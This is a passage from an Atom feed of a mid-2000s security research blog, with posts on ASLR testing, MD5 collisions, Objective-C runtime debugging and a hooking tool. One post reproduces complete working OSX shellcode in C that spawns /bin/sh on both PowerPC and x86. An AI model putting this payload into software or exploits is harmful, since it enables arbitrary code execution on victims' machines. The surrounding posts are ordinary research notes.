http://oss.coresecurity.com/projects/uhooker.htm&lt;br /&gt;&lt;br /&gt;Basically, uhooker is a tool to intercept api calls/arbitrary addresses and then use python as the scripting language for the hook handlers. There's no need to recompile anything to hook functinos, and the hook handlers can be changed at runtime (e.g.: you can change the code of the hook handler between two different calls to te same function and everything will continue working).&lt;br /&gt;Take a look at the URL I mentiond before, I spent a little more time trying to describe what uhooker does there :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-115109305907565094?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/115109305907565094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=115109305907565094&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115109305907565094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115109305907565094'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/06/release-of-universal-hooker.html' title='Release of the Universal Hooker'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-114030029317395871</id><published>2006-02-18T18:58:00.000-03:00</published><updated>2007-02-23T03:49:13.530-03:00</updated><title type='text'>Silly bug in gmail chat</title><content type='html'>There's a bug in gmail chat. It does not keep track correctly of logged on users.&lt;br /&gt;When someone enters its gmail account, it will appear as online to others.&lt;br /&gt;If that person closes the browser (not the window, the browser) without signing out from gmail first, it will remain in online state for the rest of this contacts. And from that point on, his state cannot be trusted, even if you logout the contact can appear as online.&lt;br /&gt;I think adding &amp;lt;body onunload="signout"&amp;gt; can solve this.&lt;br /&gt;&lt;pre&gt;&lt;/pre&gt; So if you see online contacts when reading your email and you send messages to them and they do not answer, maybe they're not online :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-114030029317395871?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/114030029317395871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=114030029317395871&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/114030029317395871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/114030029317395871'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/02/silly-bug-in-gmail-chat.html' title='Silly bug in gmail chat'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113788826820989860</id><published>2006-01-21T21:01:00.000-03:00</published><updated>2007-07-07T16:59:13.078-03:00</updated><title type='text'>Wehnus Wehntrust (Address Space Layout Randomization)</title><content type='html'>The other day someone sent me a link to www.wehntrust.com, made by a company called Wehnus.&lt;br /&gt;as its web site states, it is a "Host-based Instrustion Prevention System (HIPS) that&lt;br /&gt;provides secure buffer overflow exploitation countermeasures." [..]&lt;br /&gt;[..] "WenhTrust implements Address Space Randomization (ASLR) for Windows".&lt;br /&gt;There are two versions available, one for commercial user and one for home users.&lt;br /&gt;Both versions have different features:&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Home version features:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Randomized Image Files (DLLs, EXEs with relocations)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Randomized Memory Allocations (Stack, Heap, etc)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Randomized PEB/TEB&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Application and Image File Randomization Exemptions&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;Commercial Version features:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Same feature set as the home user version&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Native event logging when exploitation occurs&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Balloon tip notifications when an exploit is detected&lt;br /&gt;&lt;/li&gt;&lt;li&gt;SEH overwrite prevention&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Format string vulnerability prevention&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Stack overflow detection&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Brute force detection and prevention&lt;/li&gt;&lt;/ul&gt;This product looks very nice so I installed it on my home computer and so far&lt;br /&gt;I did not have any stability problems. I did some tests&lt;br /&gt;quick tests, this is not intented to be a full review of the product, just me&lt;br /&gt;playing around for 2 minutes with the product:&lt;br /&gt;&lt;p&gt;The Randomized Memory Allocations seem to be working fine, sample program:&lt;br /&gt;&lt;/p&gt;void main()&lt;br /&gt;&lt;pre&gt;{&lt;br /&gt;char *p;&lt;br /&gt;int i;&lt;br /&gt;unsigned int espvalue;&lt;br /&gt;&lt;br /&gt;_asm {    mov  [espvalue], esp }&lt;br /&gt;printf("esp: %X\n", espvalue);&lt;br /&gt;&lt;br /&gt; for ( i = 0; i &lt; 7; i++) {&lt;br /&gt;    p = malloc(2000);&lt;br /&gt;    printf("%p\n", p);&lt;br /&gt;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Output:&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre&gt;&lt;br /&gt;C:\tmp&gt;test&lt;br /&gt;esp: 5708FED8&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;572F0758&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test&lt;br /&gt;esp: 372CFED8&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;37510758&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test&lt;br /&gt;esp: 4151FED8&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;41790758&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test&lt;br /&gt;esp: 48CDFED8&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;48F70758&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;This was tested on a WinXP SP2. Running the test without wehntrust shows&lt;br /&gt;the same addresses on every execution (for both esp and heap address).&lt;br /&gt;I did not test PEB randomization because it is already done in XP SP2 and I&lt;br /&gt;didn't care much for it anyways. You can observe that how randomization&lt;br /&gt;is performed is pretty clear.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;To test the "Randomized Image Files (DLLs, EXEs with relocations)" feature&lt;br /&gt;I wrote this simple program:&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;pre&gt;void main()&lt;br /&gt;{&lt;br /&gt;printf("%x\n", LoadLibrary("kernel32.dll"));&lt;br /&gt;printf("%x\n", LoadLibrary("ntdll.dll"));&lt;br /&gt;printf("%x\n", LoadLibrary("advapi32.dll"));&lt;br /&gt;printf("%x\n", LoadLibrary("wsock32.dll"));&lt;br /&gt;printf("%x\n", GetModuleHandle(NULL));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test3&lt;br /&gt;1b0a0000&lt;br /&gt;1ac30000&lt;br /&gt;1b230000&lt;br /&gt;1ddd0000&lt;br /&gt;400000&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test3&lt;br /&gt;1b0a0000&lt;br /&gt;1ac30000&lt;br /&gt;1b230000&lt;br /&gt;1ddd0000&lt;br /&gt;400000&lt;br /&gt;&lt;br /&gt;C:\tmp&gt;test3&lt;br /&gt;1b0a0000&lt;br /&gt;1ac30000&lt;br /&gt;1b230000&lt;br /&gt;1ddd0000&lt;br /&gt;400000&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;The product documentation says it only randomizes PE files with relocations, and my&lt;br /&gt;PE file (as almost any regular EXE PE file) does not have relocation info, so&lt;br /&gt;getting 400000 for GetModuleHandle(NULL) is expected. For the other dlls, the&lt;br /&gt;address shown is in fact not the default one for the dlls, but as you can see,&lt;br /&gt;the address does not change on a per execution basis.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113788826820989860?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113788826820989860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113788826820989860&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113788826820989860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113788826820989860'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/01/wehnus-wehntrust-address-space-layout.html' title='Wehnus Wehntrust (Address Space Layout Randomization)'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113477020075224860</id><published>2005-12-16T18:37:00.000-03:00</published><updated>2007-08-16T21:24:25.065-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Taking advantage of MD5 .. for real..</title><content type='html'>Recently, news about md5 being broken started circulating again, along with the news came along a lot of speculation and misinformation about what the new (and not so new) found attacks can really be used for.&lt;br /&gt;Well, as always, gera (aka Gerardo Richarte) did something real and useful, he created very quickly a presentation he gave at pacsec. The presentation entitled "MD5 to be considered harmful today" can be found &lt;a href="http://www1.corest.com/corelabs/projects/research_topics/Richarte_MD5-Harmful-today.pdf"&gt;here&lt;/a&gt;.&lt;br /&gt;It is a very cool presentation, the slides are not very descriptive if you are not familiar with&lt;br /&gt;md5 and the issue in question (they're only slides after all, not a paper), but he did a lot of cool&lt;br /&gt;things to understand and reproduce (most things he did I did not get :)) what the publicated paper with the new attack was actually saying; the paper was only a page long and only contained a table with some collisions and a very brief explanation.&lt;br /&gt;&lt;p&gt;He did something even better; he created a lot of collisions. For example, he created TWO EXECUTABLE FILES THAT HAVE THE SAME MD5 HASH BUT ARE TOTALLY DIFFERENT APPLICATIONS, that's useful, I say!.&lt;br /&gt;You can take a look at the files here:&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://www1.corest.com/corelabs/projects/research_topics/Richarte_md5-crc32-cksum16-cksum32.zip"&gt;Two executable files with the same MD5 hash, crc32, checksum32 and checksum16&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www1.corest.com/corelabs/projects/research_topics/Richarte_md5-2-collisions.zip"&gt;Two executable files with the same MD5 hash&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www1.corest.com/corelabs/projects/research_topics/Richarte_md5-8-collisions.zip"&gt;Eight  files with the same MD5 hash&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113477020075224860?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113477020075224860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113477020075224860&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113477020075224860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113477020075224860'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/12/taking-advantage-of-md5-for-real.html' title='Taking advantage of MD5 .. for real..'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113448552623418870</id><published>2005-12-13T11:49:00.000-03:00</published><updated>2007-08-16T21:24:25.065-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Attack Trees are .. mm.. fun...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/8005/1818/1600/911.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/8005/1818/320/911.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;This is a screenshot from the demo found on Amenaza.com, a company that builds a&lt;br /&gt;software to create Attack trees.&lt;br /&gt;Isn't it great what you can do with these tools?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113448552623418870?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113448552623418870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113448552623418870&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113448552623418870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113448552623418870'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/12/attack-trees-are-mm-fun.html' title='Attack Trees are .. mm.. fun...'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113214808814402914</id><published>2005-11-16T10:30:00.000-03:00</published><updated>2007-08-16T21:24:25.065-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>OSX - multi arch shellcode</title><content type='html'>according to &lt;a href="http://seclists.org/lists/fulldisclosure/2005/Nov/0387.html"&gt;this&lt;/a&gt; post in full-disclosure, this guy (nemo_at_felinemenace.org) created a multi-arch (x86 and ppc) shellcode for OSX. I haven't checked it yet, so for all I know, it may not work or do a 'rm -rf /', so beware, don't go running this thing without checking it first.&lt;br /&gt;&lt;br /&gt;Note that more than a 'multi arch' shellcode, these are two different shellcodes, which one is executed is decided by the interpretation of the first bytes "\x5f\x90\xeb\x48" by the different processors as explained by the author below. &lt;br /&gt;&lt;br /&gt;The link is in insecure.org mailing list archives, so just in case, here's the shellcode:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;--------------------// CODE //--------------------&lt;br /&gt;/*&lt;br /&gt; * -[ dual.c ]-&lt;br /&gt; * by nemo_at_felinemenace.org&lt;br /&gt; *&lt;br /&gt; * execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode&lt;br /&gt; * for osx (both the ppc and x86 version.)&lt;br /&gt; *&lt;br /&gt; * Sample output:&lt;br /&gt; *&lt;br /&gt; * -[nemo_at_squee:~/shellcode]$ file dual-ppc&lt;br /&gt; * dual-ppc: Mach-O executable ppc&lt;br /&gt; * -[nemo_at_squee:~/shellcode]$ ./dual-ppc&lt;br /&gt; * sh-2.05b$ exit&lt;br /&gt; *&lt;br /&gt; * -[nemo_at_squee:~/shellcode]$ file dual-x86&lt;br /&gt; * dual-x86: Mach-O executable i386&lt;br /&gt; * -[nemo_at_squee:~/shellcode]$ ./dual-x86&lt;br /&gt; * sh-2.05b$ exit&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;char dual[] =&lt;br /&gt;//&lt;br /&gt;// These four bytes work out to the following instruction&lt;br /&gt;// in ppc arch: "rlwnm r16,r28,r29,13,4", which will&lt;br /&gt;// basically do nothing on osx/ppc.&lt;br /&gt;//&lt;br /&gt;// However on x86 architecture the four bytes are 3&lt;br /&gt;// instructions:&lt;br /&gt;//&lt;br /&gt;// "push/nop/jmp"&lt;br /&gt;//&lt;br /&gt;// In this way, execution will be taken to the x86 shellcode&lt;br /&gt;// on an x86 machine, and the ppc shellcode when running&lt;br /&gt;// on a ppc architecture machine.&lt;br /&gt;//&lt;br /&gt;"\x5f\x90\xeb\x48"&lt;br /&gt;&lt;br /&gt;// ppc execve() code by b-r00t&lt;br /&gt;"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"&lt;br /&gt;"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"&lt;br /&gt;"\x39\x40\x01\x70\x39\x1f\xfe\xcf"&lt;br /&gt;"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"&lt;br /&gt;"\x90\x61\xff\xf8\x90\xa1\xff\xfc"&lt;br /&gt;"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"&lt;br /&gt;"\x44\xff\xff\x02\x7c\xa3\x2b\x78"&lt;br /&gt;"\x38\x0a\xfe\x91\x44\xff\xff\x02"&lt;br /&gt;"\x2f\x62\x69\x6e\x2f\x73\x68\x58"&lt;br /&gt;&lt;br /&gt;// osx86 execve() code by nemo&lt;br /&gt;"\x31\xdb\x6a\x3b\x58\x53\xeb\x18\x5f"&lt;br /&gt;"\x57\x53\x54\x54\x57\x6a\xff\x88\x5f"&lt;br /&gt;"\x07\x89\x5f\xf5\x88\x5f\xfa\x9a\xff"&lt;br /&gt;"\xff\xff\xff\x2b\xff\xe8\xe3\xff\xff"&lt;br /&gt;"\xff/bin/shX";&lt;br /&gt;&lt;br /&gt;int main(int ac, char **av)&lt;br /&gt;{&lt;br /&gt;        void (*fp)() = dual;&lt;br /&gt;        fp();&lt;br /&gt;} &lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113214808814402914?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113214808814402914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113214808814402914&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113214808814402914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113214808814402914'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/osx-multi-arch-shellcode.html' title='OSX - multi arch shellcode'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113145942872805273</id><published>2005-11-08T11:15:00.000-03:00</published><updated>2007-08-16T21:24:25.065-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>NSA guide to secure OSX 10.3</title><content type='html'>Check out this guide, its an interesting reading. See the "References" section, it seems the whole document was written by extracting parts from different books.&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://www.nsa.gov/snac/os/applemac/I331-009R-2004.pdf"&gt;&lt;br /&gt;http://www.nsa.gov/snac/os/applemac/I331-009R-2004.pdf&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113145942872805273?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113145942872805273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113145942872805273&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113145942872805273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113145942872805273'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/nsa-guide-to-secure-osx-103.html' title='NSA guide to secure OSX 10.3'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113133250037283345</id><published>2005-11-06T23:55:00.000-03:00</published><updated>2007-08-16T21:24:25.066-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Observe OSX programs behavior using environment variables</title><content type='html'>it is possible to observe OSX programs behavior that use the objective-c runtime  by setting the following variables&lt;br /&gt;&lt;br /&gt;LaunchingDebug&lt;br /&gt;OBJC_PRINT_BIND&lt;br /&gt;OBJC_DUMP_CLASSES&lt;br /&gt;&lt;br /&gt;The information dumped by the objective-c runtime when these variables are set can be very handy, specially when analyzing programs for which you don't have the source code.&lt;br /&gt;&lt;br /&gt;The source code that uses these environment variables to dump the information can be found at &lt;a href=" http://darwinsource.opendarwin.org/10.3.7/objc4-237/runtime/objc-runtime.m"&gt; http://darwinsource.opendarwin.org/10.3.7/objc4-237/runtime/objc-runtime.m&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;the function objc_setConfiguration() obtains the values of 'LaunchingDebug' and 'OBJC_PRINT_BIND':&lt;br /&gt;&lt;br /&gt;[..]&lt;br /&gt;static void objc_setConfiguration() {&lt;br /&gt;    if ( LaunchingDebug == -1 ) {&lt;br /&gt;        // watch image loading and binding&lt;br /&gt;        LaunchingDebug = getenv("LaunchingDebug") != NULL;&lt;br /&gt;    }&lt;br /&gt;    if ( PrintBinding == -1 ) {&lt;br /&gt;        PrintBinding = getenv("OBJC_PRINT_BIND") != NULL;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;[..]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the function objc_map_image obtains the value of 'OBJC_DUMP_CLASSES' :&lt;br /&gt;&lt;br /&gt;[..]&lt;br /&gt;static void _objc_map_image(headerType *mh, unsigned long vmaddr_slide)&lt;br /&gt;{&lt;br /&gt;    static int dumpClasses = -1;&lt;br /&gt;    [..]&lt;br /&gt;    if ( dumpClasses == -1 ) {&lt;br /&gt;        if ( getenv("OBJC_DUMP_CLASSES") ) dumpClasses = 1;&lt;br /&gt;        else dumpClasses = 0;&lt;br /&gt;    }&lt;br /&gt;[..]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next is a list of the functions that use each environment variable:&lt;br /&gt;&lt;br /&gt;OBJC_PRINT_BIND &lt;br /&gt;&lt;br /&gt;+ _objc_map_image&lt;br /&gt;+ _objc_bindModuleContainingCategory&lt;br /&gt;+ _objc_bindModuleContainingClass&lt;br /&gt;&lt;br /&gt;LaunchingDebug &lt;br /&gt;&lt;br /&gt;+ _objc_map_image&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OBJC_DUMP_CLASSES&lt;br /&gt;&lt;br /&gt;+ _objc_map_image&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;OBJC_PRINT_BIND as the name implies, prints log information about categories and classes that&lt;br /&gt;are binded by the objective-c runtime. &lt;br /&gt;LaunchingDebug logs information about 'modules' loaded.&lt;br /&gt;OBJC_DUMP_CLASSES logs.. mm. yes, classes.&lt;br /&gt;&lt;br /&gt;sample output of OBJC_PRINT_BIND when running iMovie&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/8005/1818/1600/OBJC_PRINT_BIND_IMOVIE_SCREENSHOT.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/8005/1818/320/OBJC_PRINT_BIND_IMOVIE_SCREENSHOT.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The list of classes and categories logged can be very useful to know what is that the program is doing. &lt;br /&gt;Apart from looking at the classes while the program is loading, you can associate an action in the program to the classes/categories used when that action is performed.&lt;br /&gt;&lt;br /&gt;For example,&lt;br /&gt;&lt;br /&gt;+ open a Terminal window&lt;br /&gt;+ set the OBJC_PRINT_BIND function variable (e.g.: export OBJC_PRINT_BIND = 1)&lt;br /&gt;+ run iMovie (found at /Applications/iMovie.app/Contents/MacOS/)&lt;br /&gt;+ Once iMovie is loaded, click on the 'File' menu item, and you'll see the following in the Terminal window&lt;br /&gt;&lt;br /&gt;objc: binding class NSPortNameServer&lt;br /&gt;objc: binding class NSMachBootstrapServer&lt;br /&gt;objc: binding class %NSMachPort&lt;br /&gt;objc: binding class NSMachPort&lt;br /&gt;objc: binding class NSDistributedObjectsStatistics&lt;br /&gt;objc: binding class NSDistantObject&lt;br /&gt;objc: binding class NSPortCoder&lt;br /&gt;objc: binding class NSConcretePortCoder&lt;br /&gt;objc: binding class NSDOStreamData&lt;br /&gt;objc: binding class NSPortMessage&lt;br /&gt;objc: binding category NSPortMessage(NSPortMessageMachPortAdditions)&lt;br /&gt;objc: binding class NSServicesMenuHandler&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;These are the classes/categories that were bind when you clicked on the 'File' menu item, what can &lt;br /&gt;give you a hint about what the program is doing. Remember that what is logged are the classes/categories that were bind when you click the menu item, meaning that the classes/categories that&lt;br /&gt;were bind before will not be shown now, so the list of classes/categories listed is NOT the whole list of&lt;br /&gt;classes/categories used by the code responding to the activation of the 'File' menu item. For the same reason, if you click on the 'File' menu item again, no information will be logged.&lt;br /&gt;&lt;br /&gt;sample output of LaunchingDebug when running iMovie&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/8005/1818/1600/LaunchingDebug_IMOVIE_SCREENSHOT.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/8005/1818/320/LaunchingDebug_IMOVIE_SCREENSHOT.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LaunchingDebug shows the modules/images loaded.&lt;br /&gt;&lt;br /&gt;sample output of OBJC_DUMP_CLASSES when running iMovie&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/8005/1818/1600/OBJC_DUMP_CLASSES_IMOVIE_SCREENSHOT.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/8005/1818/320/OBJC_DUMP_CLASSES_IMOVIE_SCREENSHOT.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I don't know exactly what it means, but I guess that is the list of Classes implemented by the loaded module. If this is the case, this information is not that useful. I'll have check this in the future and update this posting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are also a bunch of other environment variables that are very interesting. I'll post information&lt;br /&gt;about them in the near future.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-113133250037283345?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/113133250037283345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=113133250037283345&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113133250037283345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/113133250037283345'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2005/11/observe-osx-programs-behavior-using.html' title='Observe OSX programs behavior using environment variables'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-113113758430012945</id><published>2005-11-04T17:43:00.000-03:00</published><updated>2005-11-04T17:56:50.246-03:00</updated><title 